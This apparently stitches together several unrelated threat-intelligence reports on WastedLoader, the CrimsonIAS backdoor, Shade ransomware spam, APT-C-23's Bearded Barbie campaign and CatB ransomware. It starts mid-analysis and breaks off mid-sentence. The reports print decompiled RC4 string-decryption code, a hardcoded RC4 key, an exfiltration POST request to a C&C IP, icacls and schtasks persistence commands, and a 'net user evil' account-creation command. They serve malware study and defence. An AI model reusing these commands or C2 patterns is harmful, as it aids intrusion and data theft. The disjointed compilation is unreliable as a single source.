6a 00 push 0 6a 00 push 0 6a 03 push 3 89 xx mov dword [reg], reg ``` This one is patched so that the last push value is 16h: ```assembly 6a 00 push 0 6a 00 push 0 6a 16 push 16h 89 xx mov dword [reg], reg ``` Finally, if one of these critical functions is hooked (starts with JMP): - NtProtectVirtualMemory - NtWriteVirtualMemory - NtQueueApcThread - NtTerminateProcess Then the malware may attempt to bypass hooking by restoring the original opcodes from the ntdll.dll file from disk. #### Strings Encryption Used strings are stored in encrypted form in the third stage .rdata section, and decrypted at runtime using the RC4 algorithm with fixed 320-bit keys. We can recognize the RC4 key scheduling in the processing function: ```c // RC4 key scheduling, first loop for (i = 0; i < 0x100; ++i) { key_value = key[i % key_len]; S[i] = i; key_values[i] = key_value; } // RC4 key scheduling, second loop J = 0; for (h = 0; h < 0x80; ++h) { // i=2*h S_i = S[2*h]; j = (J + S_2h + key_values[2*h]) & 0xFF; // swap S[i] and S[j] S[2*h] = S[j]; S[j] = S_i; // i=2*h+1 S_I = S[2*h+1]; J = (j + S_I + key_values[2*h+1]) & 0xFF; // swap S[i] and S[j] S[2*h+1] = S[J]; S[J] = S_I; } ``` In each encrypted block, we find multiple strings chained together, separated by null terminators. The target string is retrieved by its index in the chain, at decryption time, by a transform callback that skips the first N strings. This is the decryption loop using the transform callback: ```c do { copy_of_S_prng_i = S[prng_i]; prng_j = (copy_of_S_prng_i + prng_j) & 0xFF; S[prng_i] = S[prng_j]; S[prng_j] = copy_of_S_prng_i; sum_mod_256 = (S[prng_i] + copy_of_S_prng_i) & 0xFF; work_byte = a3_in[input_index]; if (v27) { // plaintext xor K work_byte ^= S[sum_mod_256]; } if (a6_transform) { v26 = input_index; // apply provided callback (skip first N strings) stop = a6_transform(work_byte, decrypt_struct); input_index = v26; if (stop) { return; } } else { a5_out[input_index] = work_byte; } ++input_index; ++prng_i; } while (input_index < a4_in_len); ``` Separate string structures are created on the same buffer, with different offsets and lengths, depending on string position in the chain: ```c struct encrypted_string { int len; int padded_len; char *buffer; int buffer_offset; }; ``` ### Network Activity #### System Fingerprint Before sending requests, the malware computes a system fingerprint, consisting of an MD5 hash on the following information: - computer name - user name - install date from HKLM\Software\Microsoft\Windows NT\”InstallDate” The system fingerprint, together with a list of installed programs, versions and environment variables, are sent over to the malware C&C server: ``` <computer_name>_<fingerprint_hash> <program name 1> <version> <program name 2> <version> ...all other installed programs... computername=<computer_name> os=<os_name> path=<system_path> processor_architecture=<proc_arch> processor_identifier=<proc_name> userdomain=<domain> username=<user_name> userprofile=<user_profile_dir> systemroot=<windows_dir> ...all other environment variables... ``` This information is encrypted using the RC4 algorithm mentioned before, using a fixed 312-bit key, stored encrypted in the .rdata section. The key is: ``` “0b5OfJrLOaYVR1bowGFadUUE3wXdLGZLGKutwX7” ``` #### C&C Requests After it has been encrypted, the system information is sent to the C&C server as a HTTPS POST request that includes: ``` POST https://157.7.166.26:5353/ HTTP/1.1 Cache-Control: no-cache Host: 157.7.166.26:5353 Content-Length: <length> Connection: Close <encrypted system information> <crc32 on encrypted data> <md5 on fingerprint hash> <request code> ``` The malware tries several C&C hosts in order, connecting to the first one that is up: - host 157.7.166.26 on port 5353 - host 162.144.127.197 on port 3786 - host 46.22.57.17 on port 5037 The request code is a value that determines the requested operation. It can have one of the following values, but their meaning is not totally clear: - first request has code: 18F8C844, needs non-null response - second request has code: 11041F01, needs more than 128 byte response - third request has code: D3EF7577, doesn’t need response - fourth request has code: 69BE7CEE, doesn’t need response ### WastedLoader Fourth Stage It is possible that the 11041F01 request, which requires a large response from the C&C server, would download the fourth stage, but there was no successful server reply in our tests. In our tests, the first C&C IP (157.7.166.26) always replied 403 Forbidden, while the other two IPs did not respond. ### Persistence If a fourth stage is downloaded from the C&C server, it will be set to run every 30 minutes by using the Windows Task Scheduler. A task with a random name is created (for example Npneehvgfivrccw) in the same directory as other maintenance tasks like: - Windows Error Reporting - Time Synchronization - Customer Experience Improvement Program - other folders found in <SystemDir>\Tasks The task command is executing the downloaded payload: ```xml <Actions Context="Author"> <Exec> <Command>C:\Windows\system32\GYfSOumNR\</Command> </Exec> </Actions> ``` Because modifying files inside the <SystemDir>\Tasks folder is not permitted even for administrators, the icacls.exe tool is executed, to grant the required permissions: ``` C:\Windows\system32\icacls.exe “C:\Windows\system32\Tasks\Microsoft\Windows\Windows Error Reporting\QueueReporting-S-1-5-21-3156518309-996909167-609108344-1000” /grant:r “COMPUTER\User”:F ``` Then the task is scheduled using the schtasks.exe tool: ``` C:\Windows\system32\schtasks.exe /run /tn “Microsoft\Windows\Windows Error Reporting\QueueReporting-S-1-5-21-3156518309-996909167-609108344-1000” ``` ## References - CVE-2019-0752, Scripting Engine Memory Corruption Vulnerability Microsoft – Apr 9, 2019 - CVE-2019-0752, RCE Without Native Code: Exploitation of a Write-What-Where in Internet Explorer Simon Zuckerbraun – May 21, 2019 - CVE-2018-8174 Metasploit module 0x09AL – May 23, 2018 - CVE-2018-8174, Windows VBScript Engine Remote Code Execution Vulnerability Microsoft – May 8, 2018 - CVE-2018-8174, The King is dead. Long live the King! Vladislav Stolyarov – May 9, 2018 - CVE-2018-8174, Dissecting modern browser exploit: case study Piotr Florczyk – Jul 10, 2018 - Threat Bulletin: WastedLocker Ransomware VMRay – August 20, 2020 - WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group Stefano Antenucci – June 23, 2020 ## Indicators of Compromise VBScript exploits: - 5e341da684a504b7328243d5c9c0f09a (CVE-2019-0752) - ff68100339c8075243ccf391c179173b (CVE-2018-8174) WastedLoader executables: - 6afc5c3e1caa344989513b2773ae172a - 3c4e86b0d42094f25d4c34ca882e5c09 - 6ee2138d5467da398e02afe2baea9fbe RIG EK redirecting hosts: - traffic.allindelivery.net – 188.127.249.141 - myallexit.xyz – 188.225.75.54 - clickadusweep.vip – 188.225.75.54 - enter.testclicktds.xyz – 185.230.140.204 - zeroexit.xyz – 188.225.75.54 - zero.testtrack.xyz – 185.230.140.204 RIG EK landing page hosts: - 45.138.24.35 - 188.227.106.122 - 188.227.57.214 WastedLoader C&C hosts: - 157.7.166.26 on port 5353 - 162.144.127.197 on port 3786 - 46.22.57.17 on port 5037
# Cyber Threat Intelligence Research ## Executive Summary CrimsonIAS is a Delphi-written backdoor dating back to at least 2017 that enables operators to run command line tools, exfiltrate files, and upload files to the infected machine. CrimsonIAS is notable as it listens for incoming connections only, making it different from typical Windows backdoors that beacon out. The characteristics found in CrimsonIAS’s execution flow suggest a connection to Mustang Panda (aka BRONZE PRESIDENT, RedDelta) PlugX samples. Based on those non-unique characteristics, ThreatConnect assesses with low confidence that CrimsonIAS is an additional tool in Mustang Panda’s repertoire. Industry reporting assesses with varying levels of confidence that Mustang Panda is a Chinese espionage actor that has conducted operations in Mongolia, Vietnam, and Hong Kong among other locations. According to fellow researchers, Mustang Panda targets non-government organizations (NGOs), law enforcement organizations, and political entities. ## Discovery ThreatConnect identified CrimsonIAS while hunting for XOR encrypted PlugX binaries. The CrimsonIAS backdoor is encrypted similarly to recent Mustang Panda PlugX samples, which piqued our interest. - **Encrypted SHA256**: acfd58369c0a7dbc866ad4ca9cb0fe69d017587af88297f1eaf62a9a8b1b74b4 - **Decrypted SHA256**: 891ece4c40a7bf31f414200c8c2c31192fd159c1316012724f3013bd0ab2a68e ## CrimsonIAS Analysis The developers behind CrimsonIAS wrote this backdoor using Delphi. They also added some features that changed the normal execution flow starting with shell code embedded in the MZ header. Windows executables are not designed to execute code from the MZ header; they have a dedicated section (outside of the MZ header) for executable code. The actor is able to work around this design choice to start execution in the MZ header based on how we suspect the binary is loaded. This shell code calls a reflective loader function which resolves additional library functions needed before jumping to the malware’s actual entrypoint. The binary was also XOR encrypted with a 10 byte XOR key prepended to the binary (T1140: Deobfuscate/Decode Files or Information). All of these are also seen in Mustang Panda’s PlugX samples. This backdoor spins up a listener and awaits the operator’s commands to run command line tools, exfiltrate files, and upload files to the infected machine. Prior to spinning up the network listener, CrimsonIAS launches netsh.exe to open a port on the local machine (T1562.004: Impair Defenses: Disable or Modify System Firewall). This sample opens port 80. ## Command and Control When receiving network traffic, the listener’s handler first checks for the presence of the marker 0x33669966 (T1205: Traffic Signaling). If it matches, then the handler proceeds to parse the first 24 bytes. The first 24 bytes make up the command header; however, only the first three DWORDs appear to be used. The command buffer starts at offset 24 (0x18) and its content differs based upon the command code specified. The three command codes are: - **0x6600**: Run Command (T1059.003: Command and Scripting Interpreter: Windows Command Shell) - **0x7701**: Receive File (T1105: Ingress Tool Transfer) - **0x7702**: Send File (T1041: Exfiltration Over C2 Channel) A null preserving XOR encryption algorithm is used to hide the buffer’s contents (T1573.001: Encrypted Channel: Symmetric Cryptography). All of the samples found use the same single byte XOR key 0x85. ## Command and Control Recreation After reversing the backdoor’s network byte parser, we recreated parts of the command and control (C2) server to elicit responses from it. Here the backdoor responds to our command telling it to execute “net user evil 3v1l /add”. Notice both the sent and received responses start with 0x33669966 (0x66996633 on the network); enabling fingerprinting of the network traffic. The response buffer reads: “The command completed successfully.” ## Mustang Panda Connection We assess with low confidence that CrimsonIAS is associated with Mustang Panda. The similarities with how the binary was packaged along with how it’s launched are the basis for this connection. Inspecting Mustang Panda PlugX samples identified last year, we observed these three pertinent characteristics: 1. Encrypted with a 10 byte XOR key prepended to the encrypted binary. 2. Matching shell code at the start of the MZ header (minus the offset value). 3. Exported Loader function. Both samples also make use of a reflective loader technique which they export under the name Loader. Searching VTI for this exported function leads to a fair number of results not tied to Mustang Panda samples; so the presence of this export is not unique enough. Finally, we successfully launched CrimsonIAS by taking a Mustang Panda PlugX archive (complete with the DLL sideloading executable and the sideloaded DLL) and swapping out the encrypted PlugX DLL with the encrypted CrimsonIAS DLL (T1574.002: Hijack Execution Flow: DLL Side-Loading). Grouping these characteristics together is the basis for the CrimsonIAS connection with Mustang Panda. The reasoning behind the low confidence is the fact that the first two techniques should be trivial to implement/copy and that the third is not unique to Mustang Panda; increasing the likelihood it could be a copycat, false flag, or inadvertent consistency. Additional information on organizations targeted, affected regions, the complete payload, inbound communications, or any associated incidents would potentially help us reassess our confidence in CrimsonIAS’ association to Mustang Panda. ## Evolution VirusTotal shows that the first sample was uploaded back in 2018. | SHA256 | Compile Time | VT First Submission | DLL Name | Exports | |--------|--------------|---------------------|----------|---------| | 3bc96b4cce0dd550eeb3a563f7ef203614e36fbbbf990726e1afd5d3dcec33e1 | 1511835471 (2017-11-28 02:17:51) | 2018-05-29 | Dll.dll | 6 | | bde63cd5c3aefed249d2610ca2ee834bde0c0ec06193119363972e3761fb3c63 | 1527218355 (2018-05-25 03:19:15) | 2019-04-28 | Dll.dll | 6 | | 194c0f6c5001b929080d700362e8d8e8009973c82d9409094af2a7ad33506228 | 1527218355 (2018-05-25 03:19:15) | 2018-12-11 | Dll.dll | 1 | | 5021a19f439d31946e61b7529f8e930ebc9829b1ab1f2274b281b23124113cb1 | 1527218355 (2018-05-25 03:19:15) | 2018-07-23 | Dll.dll | 5 | | 306175ffc59091515a8a0b211c356843f09fcb65395decd9fe72c9807c17288a | 1528707090 (2018-06-11 08:51:30) | 2019-05-16 | Dll.dll | 1 | | 63e144fbe0377e0c365c126d2c03ee5da215db275c5376e78187f0611234c9b0 | 1531455240 (2018-07-13 04:14:00) | 2018-08-04 | Dll.dll | 1 | | b19fea36cb7ea1cf1663d59b6dcf51a14e207918c228b8b76f9a79ff3a8de36c | 1539848755 (2018-10-18 07:45:55) | 2019-03-30 | Dll.dll | 6 | | 891ece4c40a7bf31f414200c8c2c31192fd159c1316012724f3013bd0ab2a68e | 1582792200 (2020-02-27 06:29:04) | 2020-08-09 | Dll.dll | 8 | The earliest compile time found suggests this backdoor has been around since at least 2017. The three samples with the compile time 2018-05-25 03:19:15 are the same sample with just the listen on port number changed; probably after compilation. Overall, CrimsonIAS’s primary functionality remains consistent over the years. The primary difference lies in how the malicious code is executed. The earlier samples relied on calling the exported function CPlApplet that would register and launch a Windows service that then executes the backdoor functionality (T1569.002: System Services: Service Execution). The file 63e144fbe0377e0c365c126d2c03ee5da215db275c5376e78187f0611234c9b0 is an exception as the exported function CPIApplet does not create a service but it immediately starts up the backdoor. The latest sample moved away from this technique and it now makes use of a reflective loader technique that is seen across different malware families. This change along with the prepended XOR key and the shellcode provide hints to who might be behind this backdoor. ## Conclusion ThreatConnect believes that Mustang Panda will continue to be active and adapt their toolset as needed to meet their objectives against largely near-abroad targets. The backdoor, CrimsonIAS, passively awaits commands, implying that the actor has some means of proxying/accessing the target’s network or, more likely, that the machine targeted is exposed to the public Internet. We encourage entities who think they might have been targeted by Mustang Panda to check for the presence of programs listening for external inbound connections and inspect further if something is found. Verify carefully as the presence of programs listening for inbound connections does not necessarily mean that the machine is compromised. ## Naming Convention Note We generally abstain from adding a new name for malware and threats where other industry reporting has already done so. Two exceptions where we may use our own naming convention: - When we are unsure whether our findings are consistent with activity sets other organizations have described and named. In this case, we will attempt to describe the overlap and differences between those previously named sets and the activity we’re describing. - When we are describing a previously unnamed malware or threat. The latter is the case here. Our naming convention is intended to help describe the assessed origin of the threat or malware, along with another identifier that is specific to the entity. In this case, we are using Crimson to refer to the malware’s assessed Chinese origin, and IAS to refer to the Internet Authentication Service (IAS) binary string previously described.
# Russia Hit by New Wave of Ransomware Spam Among the increased number of malicious JavaScript email attachments observed in January 2019, ESET researchers have spotted a large wave of ransomware-spreading spam targeting Russian users. January 2019 has seen a dramatic uptick in detections of malicious JavaScript email attachments, an attack vector that mostly lay dormant throughout 2018. Among the “New Year edition” of malicious spam campaigns relying on this vector, we have detected a new wave of Russian-language spam that distributes ransomware known as Shade or Troldesh, detected by ESET as Win32/Filecoder.Shade. The campaign appears to be a follow-up to a malicious spam campaign that started distributing the Shade ransomware in October 2018. ## The January 2019 Campaign Our telemetry shows the October 2018 campaign running at a consistent pace until the second half of December 2018, taking a break around Christmas, and then resuming in mid-January 2019 doubled in size. The drops in the graph are aligned with weekends, which suggests that the attackers favor company email addresses. As previously mentioned, this campaign is a part of a larger trend we have observed from the beginning of 2019 – the comeback of malicious JavaScript attachments as a widely used attack vector. Of particular note, the campaign spreading the Shade ransomware in January 2019 has been most active in Russia, with 52% of the total detections of these malicious JavaScript attachments. Among other affected countries are Ukraine, France, Germany, and Japan. Based on our analysis, a typical attack in the January 2019 campaign starts with the delivery of an email written in Russian, with an attached ZIP archive named “info.zip” or “inf.zip”. These malicious emails pose as order updates, seemingly coming from legitimate Russian organizations. The emails we have seen impersonate the Russian bank B&N Bank and the retail chain Magnit. In one of the emails detected by ESET systems, the English translation is: **Subject: Details of the order** Hello! I’m sending to you the details of the order. The document is enclosed. Denis Kudrashev, manager The ZIP archive contains a JavaScript file named “Информация.js“ (which translates to “Information” in English). Once extracted and launched, the JavaScript file downloads a malicious loader, detected by ESET products as Win32/Injector. The malicious loader decrypts and launches the final payload – the Shade ransomware. The malicious loader is downloaded from URLs at compromised, legitimate WordPress sites, where it is disguised as an image file. To compromise the WordPress pages, attackers used mass-scale password brute-force attacks carried out via automated bots. Our telemetry data shows hundreds of such URLs, all ending with the string “ssj.jpg”, hosting the malicious loader file. The loader is signed using an invalid digital signature that claims to be issued by Comodo. Besides this, the loader attempts to disguise itself further by posing as the legitimate system process Client Server Runtime Process (csrss.exe). It copies itself into C:\ProgramData\Windows\csrss.exe, where “Windows” is a hidden folder created by the malware, and is not normally located in ProgramData. ## The Shade Ransomware The final payload of this malicious campaign is crypto-ransomware dubbed Shade or Troldesh. First seen in the wild in late 2014, but frequently resurfacing since, the ransomware encrypts a wide range of file types on local drives. In the recent campaign, the ransomware appends the extension .crypted000007 to the encrypted files. The payment instructions are presented to victims in a TXT file, in Russian and English, which is dropped to all drives on the affected computer. The wording of the ransom note is identical to that from the previously-reported October 2018 campaign. ## How to Stay Safe To avoid falling victim to malicious spam, always verify the authenticity of emails before opening any attachments or clicking on links. If necessary, check with the organization seemingly sending the email using contact details provided on their official website. For Gmail users, it may be useful to know that Gmail has been blocking JavaScript attachments in both received and sent emails for almost two years now. Users of other email services, including company mail servers, must rely on their awareness – unless they use some security solution capable of detecting and blocking malicious JavaScript files. Several different modules in ESET security products independently detect and block malicious JavaScript files. To avoid having your WordPress website compromised, use a strong password and two-factor authentication and make sure to regularly update WordPress itself, as well as WordPress plugins and themes. ## Indicators of Compromise (IoCs) **Example hashes of the malicious ZIP attachments:** - 0A76B1761EFB5AE9B70AF7850EFB77C740C26F82 - D072C6C25FEDB2DDF5582FA705255834D9BC9955 - 80FDB89B5293C4426AD4D6C32CDC7E5AE32E969A - 5DD83A36DDA8C12AE77F8F65A1BEA804A1DF8E8B - 6EA6A1F6CA1B0573C139239C41B8820AED24F6AC - 43FD3999FB78C1C3ED9DE4BD41BCF206B74D2C76 **Example hashes of JavaScript downloaders:** - 37A70B19934A71DC3E44201A451C89E8FF485009 - 08C8649E0B7ED2F393A3A9E3ECED89581E0F9C9E - E6A7DAF3B1348AB376A6840FF12F36A137D74202 ESET detection name: Win32/Injector **Example hashes of the Shade ransomware:** - FEB458152108F81B3525B9AED2F6EB0F22AF0866 - 7AB40CD49B54427C607327FFF7AD879F926F685F - 441CFA1600E771AA8A78482963EBF278C297F81A - 9023B108989B61223C9DC23A8FB1EF7CD82EA66B - D8418DF846E93DA657312ACD64A671887E8D0FA7 ESET detection name: Win32/Filecoder.Shade **Campaign-specific string in URLs hosting the Shade ransomware:** - hxxp://[redacted]/ssj.jpg
# Operation Bearded Barbie: APT-C-23 Campaign Targeting Israeli Officials **Written By** Cybereason Nocturnus April 6, 2022 Over the last several years, the Cybereason Nocturnus Team has been tracking different APT groups operating in the Middle East region, including two main sub-groups of the Hamas cyberwarfare division: Molerats and APT-C-23. Both groups are Arabic-speaking and politically motivated, operating on behalf of Hamas, the Palestinian Islamic-fundamentalist movement and a terrorist organization that has controlled the Gaza Strip since 2006. While most of the previously reported APT-C-23 campaigns seemed to target Arabic-speaking individuals in the Middle East, Cybereason recently discovered a new elaborate campaign targeting Israeli individuals, among them a group of high-profile targets working for sensitive defense, law enforcement, and emergency services organizations. The campaign operators use sophisticated social engineering techniques, ultimately aimed at delivering previously undocumented backdoors for Windows and Android devices. The goal behind the attack was to extract sensitive information from the victims' devices for espionage purposes. Our investigation reveals that APT-C-23 has effectively upgraded its malware arsenal with new tools, dubbed Barb(ie) Downloader and BarbWire Backdoor, which are equipped with enhanced stealth and a focus on operational security. The new campaign that targets Israeli individuals seems to have a dedicated infrastructure that is almost completely separated from the known APT-C-23 infrastructure, which is assessed to be more focused on Arabic-speaking targets. ## Key Findings - **New Espionage Campaign Targeting Israelis**: Cybereason discovered a new and elaborate campaign that targets Israeli individuals and officials. The campaign is characterized as an espionage campaign aiming to steal sensitive information from PCs and mobile devices belonging to a chosen target group of Israeli individuals working for law enforcement, military, and emergency services. - **Attribution to APT-C-23**: Based on our investigation and previous knowledge of the group, Cybereason assesses with moderate-high confidence that the group behind the new campaign is APT-C-23, an Arabic-speaking, politically motivated group believed to be operating on behalf of Hamas. - **Social Engineering as Primary Infection Vector**: The attackers used fake Facebook profiles to trick specific individuals into downloading trojanized direct message applications for Android and PC, which granted them access to the victims’ devices. - **Upgraded Malware Arsenal**: The new campaign consists of two previously undocumented malware, dubbed Barb(ie) Downloader and BarbWire Backdoor, both of which use an enhanced stealth mechanism to remain undetected. In addition, Cybereason observed an upgraded version of an Android implant dubbed VolatileVenom. - **APT-C-23 Stepping Up Their Game**: Until recently, the group has been using known tools which served them for years and were known for their relatively unsophisticated tools and techniques. The analysis of this recent campaign shows that the group has revamped their toolset and playbook. ## Luring the Victims: A Wolf in a Beauty’s Clothing To get to their targets, APT-C-23 has set up a network of fake Facebook profiles that are highly maintained and constantly interacting with many Israeli citizens. The social engineering tactic used in this campaign relies mostly on classic catfishing, using fake identities of attractive young women to engage with mostly male individuals to gain their trust. These fake accounts have operated for months and seem relatively authentic to the unsuspecting user. The operators seem to have invested considerable effort in “tending” these profiles, expanding their social network by joining popular Israeli groups, writing posts in Hebrew, and adding friends of the potential victims as friends. In order to give the profiles an even more authentic appearance, the group uses the accounts to “like” various Facebook groups and pages that are well known to Israelis, such as Israeli news pages, Israeli politicians’ accounts, and corporate pages. Over time, the operators of the fake profiles were able to become “friends” with a broad spectrum of Israeli citizens, among them some high-profile targets that work for sensitive organizations including defense, law enforcement, emergency services, and other government-related organizations. ## From Chat to Infection After gaining the victim’s trust, the operator of the fake account suggests migrating the conversation from Facebook over to WhatsApp. By doing so, the operator quickly obtains the target's mobile number. In many cases, the content of the chat revolves around sexual themes, and the operators often suggest to the victims that they should use a “safer” and more “discrete” means of communication, suggesting a designated app for Android. In addition, they also entice the victims to open a .rar file containing a video that supposedly contains explicit sexual content. However, when the users open the video, they are infected with malware. ### The VolatileVenom Malware - **The Barb(ie) Downloader**: A link to a site downloads a .rar file that contains a private video and the BarbWire Backdoor payload. ### Stage One: Barb(ie) Downloader Barb(ie) is a downloader component used by APT-C-23 to install the BarbWire backdoor. As mentioned above, in the infection phase, the downloader is delivered alongside a video in a .rar file. The video is meant to distract the victim from the infection process that is happening in the background. The downloader sample analyzed in this section is named “Windows Notifications.exe”. When first executed, Barb(ie) decrypts strings using a custom base64 algorithm that is also used in the BarbWire backdoor. Those decrypted strings are different Virtual Machine vendor names, WMI queries, command and control (C2), file and folder names which are used in different phases of the execution. One way the malware uses those strings is in performing multiple checks, such as anti-vm and anti-analysis checks, in order to determine that “the coast is clear.” If the check fails, a custom pop-up message is displayed to the user and the malware terminates itself. If the malware finds the target machine to be clean and it doesn’t detect any sandboxing or other analysis being performed on the targeted device, the malware will continue its execution and collect information about the machine, including username, computer name, date and time, running processes, and OS version. Later, the malware will attempt to create a connection to the embedded C2 server. When creating the connection, the malware sends information about the victim machine that is composed of the data collected. In addition, it sends other information to the C2, like the OS version, downloader name, and compilation month as well as information on any installed Antivirus software running. Barb(ie) will attempt to download the payload by using a specific URI. In addition, the downloader creates a file named “adbloker.dat” that stores the encrypted C2, copies itself to programdata, and sets persistence via two scheduled tasks. Interestingly, another Barb(ie) sample that was analyzed with a different name copies itself to appdata as well, but renames the executable to “Windows Notifications.exe” and sets the same persistence. Looking at the metadata of Windows Notifications.exe, it appears that the author of the malware chooses a unique company name and product name that do not exist as part of Windows. Once a successful connection has been established with the C2, Barb(ie) will download the payload, the BarbWire backdoor. ## BarbWire Backdoor ### Background and Capabilities The backdoor component of APT-C-23’s operation is a very capable piece of malware, and it is obvious that a lot of effort was put into hiding its capabilities using a custom base64 algorithm. Its main goal is to fully compromise the victim machine, gaining access to their most sensitive data. The backdoor’s main capabilities include: - Persistence - OS Reconnaissance - Data encryption - Keylogging - Screen capturing - Audio recording - Download additional malware - Local/external drives and directory enumeration - Steal specific file types and exfiltrate data ### Variants According to the timeline of this operation, there are at least three different variants of the BarbWire backdoor. In addition to the compilation timestamp, there is the “sekop” flag that is used as an identifier for a currently running campaign. The BarbWire persistence techniques include the creation of a scheduled task and also the implementation of a known Process protection technique. The malware handles two execution scenarios; If it is being executed from a location that is other than %programdata%, the malware copies itself to %programdata%\WMIhosts and creates a scheduled task. According to a second execution scenario, where the file already operates from %appdata%, the malware starts collecting user information and gathering OS information. In order to hide the malware’s most sensitive strings, which can disclose its capabilities and communication patterns, it uses a custom-built base64 algorithm. After successful C2 decryption, the BarbWire backdoor initiates a connectivity check using Google’s domain, and then connects with the C2. Once the initial information is gathered on the victim’s OS and the connectivity check is completed, the BarbWire Backdoor finally initiates the connection with the C2 through a POST request. The data that is sent in the POST request includes various parameters related to the victim’s machine. ## Data Collection and Exfiltration The BarbWire backdoor can steal a wide range of file types, depending on the instructions it receives from its operators. It specifically looks for certain file extensions such as PDF files, Office documents, archives, videos, and images. In addition to the local drives found on the host, it also looks for external media such as a CD-Rom drive. Searching for such an old media format, together with the file extensions of interest, could suggest a focus on targets that tend to use more “physical” formats to transfer and secure data, such as military, law enforcement, and healthcare. BarbWire stores the data it collects from the host on special folders it creates under %programdata%\Settings where it stores the collected data from the machine. Each stolen “type” has its own resource “code name” in the C2, appended to the previously generated user id. Once the data is being staged and exfiltrated, the data is archived in a .rar file and sent to the C2 to a designated URI. As detailed in the beginning of the analysis, the backdoor also has keylogging and screen capturing data-stealing capabilities. Both are being stored in an interesting way, applying unrelated extensions to the files containing the stolen data. ## VolatileVenom Android Implant Analysis VolatileVenom is one of APT-C-23’s arsenal of Android malware. The attackers lure the victims into installing VolatileVenom under the pretext that the suggested app is more “secure” and “discrete.” Based on our investigation, it seems that VolatileVenom has been operationalized and integrated into the group's arsenal since at least April of 2020, and disguises itself using icons and names of chat applications. An example of a fake messaging app used in this campaign is an Android app named “Wink Chat.” After the user attempts to sign up for the application, an error message pops up and indicates the app will be uninstalled. However, in reality, the application keeps running in the background. VolatileVenom has a rich set of espionage capabilities, which enable attackers to extract a lot of data from their victims. The main espionage capabilities include: - Steal SMS messages - Read contact list information - Use the device camera to take photos - Steal files with specific extensions - Record audio - Discard system notifications - Get installed applications - Restart Wi-Fi - Record calls / WhatsApp calls - Extract call logs - Download files to the infected device - Take screenshots - Read notifications of various apps ## C2 Communication VolatileVenom uses HTTPS and Firebase Cloud Messaging (FCM) for C2 communication. The application appears to have two methods to retrieve the C2 domain. To conclude, the Cybereason Nocturnus Team investigated an active espionage campaign that victimizes Israeli citizens, among them high-profile targets, for espionage purposes. The campaign featured a classic social engineering tactic known as catfishing, where the group used sexual content to lure their victims, mostly Israeli men, into downloading malware. Cybereason assesses with moderate-high confidence that APT-C-23, a politically motivated APT group that operates on behalf of Hamas, is behind the campaign detailed in this report. While the APT-C-23 operations against Arabic-speaking targets are still taking place, this newly identified campaign specifically targets Israelis and shows unique characteristics that distinguish it from other campaigns. The Cybereason investigation found that some victims were infected with both PC and Android malware dubbed Barb(ie) Downloader, BarbWire Backdoor, and VolatileVenom. This “tight grip” on their targets attests to how important and sensitive this campaign was for the threat actors. Lastly, this campaign shows a considerable step-up in APT-C-23 capabilities, with upgraded stealth, more sophisticated malware, and perfection of their social engineering techniques which involve offensive HUMINT capabilities using a very active and well-groomed network of fake Facebook accounts that have been proven quite effective for the group. Cybereason contacted Facebook and reported the fake accounts.
# CatB Ransomware | File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking The CatB ransomware family, sometimes referred to as CatB99 or Baxtoy, was first observed in late 2022, with campaigns being observed steadily since November. The group’s activities have gained attention due to their ongoing use of DLL hijacking via Microsoft Distributed Transaction Coordinator (MSDTC) to extract and launch ransomware payloads. String similarities in the ransom notes as well as modifications left by the ransomware payloads suggest that CatB may be either an evolution or direct rebrand of the Pandora ransomware, which was active in early to mid-2022 and targeted the automotive industry. In this post, we offer a technical analysis of the CatB ransomware and its abuse of the legitimate MSDTC service, describing its evasion tactics, encryption behavior, and its attempts to steal credentials and browser data. ## CatB Ransomware Technical Information CatB payloads are distributed as a two DLL set. A dropper DLL is responsible for initial evasive environmental checks as well as dropping and launching the second DLL, which serves the ransomware payload. First, the dropper is distributed in the form of a UPX-packed DLL (versions.dll). This dropper deposits the second DLL payload (oci.dll) onto the target host. The dropper DLL is responsible for any sandbox evasion techniques required by the threat actor. Sandbox evasion inhibits the analysis process and ultimately leads to more time in the target environment for the attacker. CatB performs three primary checks in an attempt to determine if the payload is being executed within a virtual environment. These are direct checks for type and size of physical RAM, type and size of physical hard disks, and checking for odd or anomalous combinations of processors and cores. Upon execution, CatB payloads rely on DLL search order hijacking to drop and load the malicious payload. The dropper (versions.dll) drops the payload (oci.dll) into the System32 directory. The malware then abuses the MSDTC service, manipulating the permissions and startup parameters. As a result, the system will inject the malicious oci.dll into the service’s executable (msdtc.exe) when the MSDTC service is restarted. Taskill.exe is used to terminate the msdtc.exe process once the service configuration changes have been made. CatB ransomware excludes the following files and extensions from the encryption process: .msi, .dll, .sys, .iso and NTUSER.DAT. In addition to the hardcoded exclusions, the local disk volumes to be encrypted are also configured in a similar manner. By default, the oci.dll payload will attempt to encrypt C:\users (crawl whole tree), I:, H:, G:, F:, E:, and D:. The lack of post-encryption alterations is a trait that sets CatB apart from other contemporaries. Once encrypted, there is no blatant indicator – no separate ransom note dropped, no change to the desktop wallpaper, and no antagonizing file extensions. Instead, what could be considered the ransom note is inserted into the beginning of each encrypted file. Per the ransom note, the only way to engage the threat actor is via email at the provided catB9991 protonmail address. Beyond that, a single Bitcoin (BTC) address is provided for payment submissions. The ransom price is set to increase each day for five days and, following the fifth day, there will be “permanent data loss” if the victim does not comply. Based on observations, there is no evidence to indicate that CatB operators are generating payment wallets for each victim as the Bitcoin address provided is not unique to each sample. A key file is deposited onto each infected host in c:\users\public\. This file must be included in email correspondence with the attackers as it is, ideally, a unique identifier for each victim or host. ## Credential and Browser Data Theft In addition to file encryption and obfuscation, the CatB malware will attempt to gather specific, sensitive information from targeted systems. This includes browser session and credential data. The ransomware contains functionality to discover and extract user data from Mozilla Firefox, Google Chrome, Microsoft Edge as well as Internet Explorer. Data extracted from browsers includes bookmarks, blocklists, crash logs, history, user profile data, autofill data, environmental settings, browser session keys, and more. CatB malware will also attempt to locate and extract sensitive information from Windows Mail profile data (\AppData\Local\Microsoft\Windows Mail\). ## Variations of CatB Threat Campaigns Samples pulled from a November 2022 campaign feature a different contact email address, fishA001[@]protonmail.com. This later changes to the catB9991 protonmail address mentioned above. This is the only difference with regards to the ransom notes. Other details such as payment-per-day breakdowns and the BTC payment address are identical. We have also encountered variations which include both email addresses. When these ‘double email’ notes are appended to the head of files, it looks as follows: These ransom notes display all the same features minus the BTC payment address. Also missing is the requirement to submit the key file in c\users\public\key. Notes that are missing the key submission feature suggest that they are artifacts of an earlier ‘test’ version of the ransomware. ## BTC Payment / Blockchain Status As the time of writing, the BTC address associated with CatB ransomware have zero transactions and a zero balance. ## Conclusion CatB joins a long line of 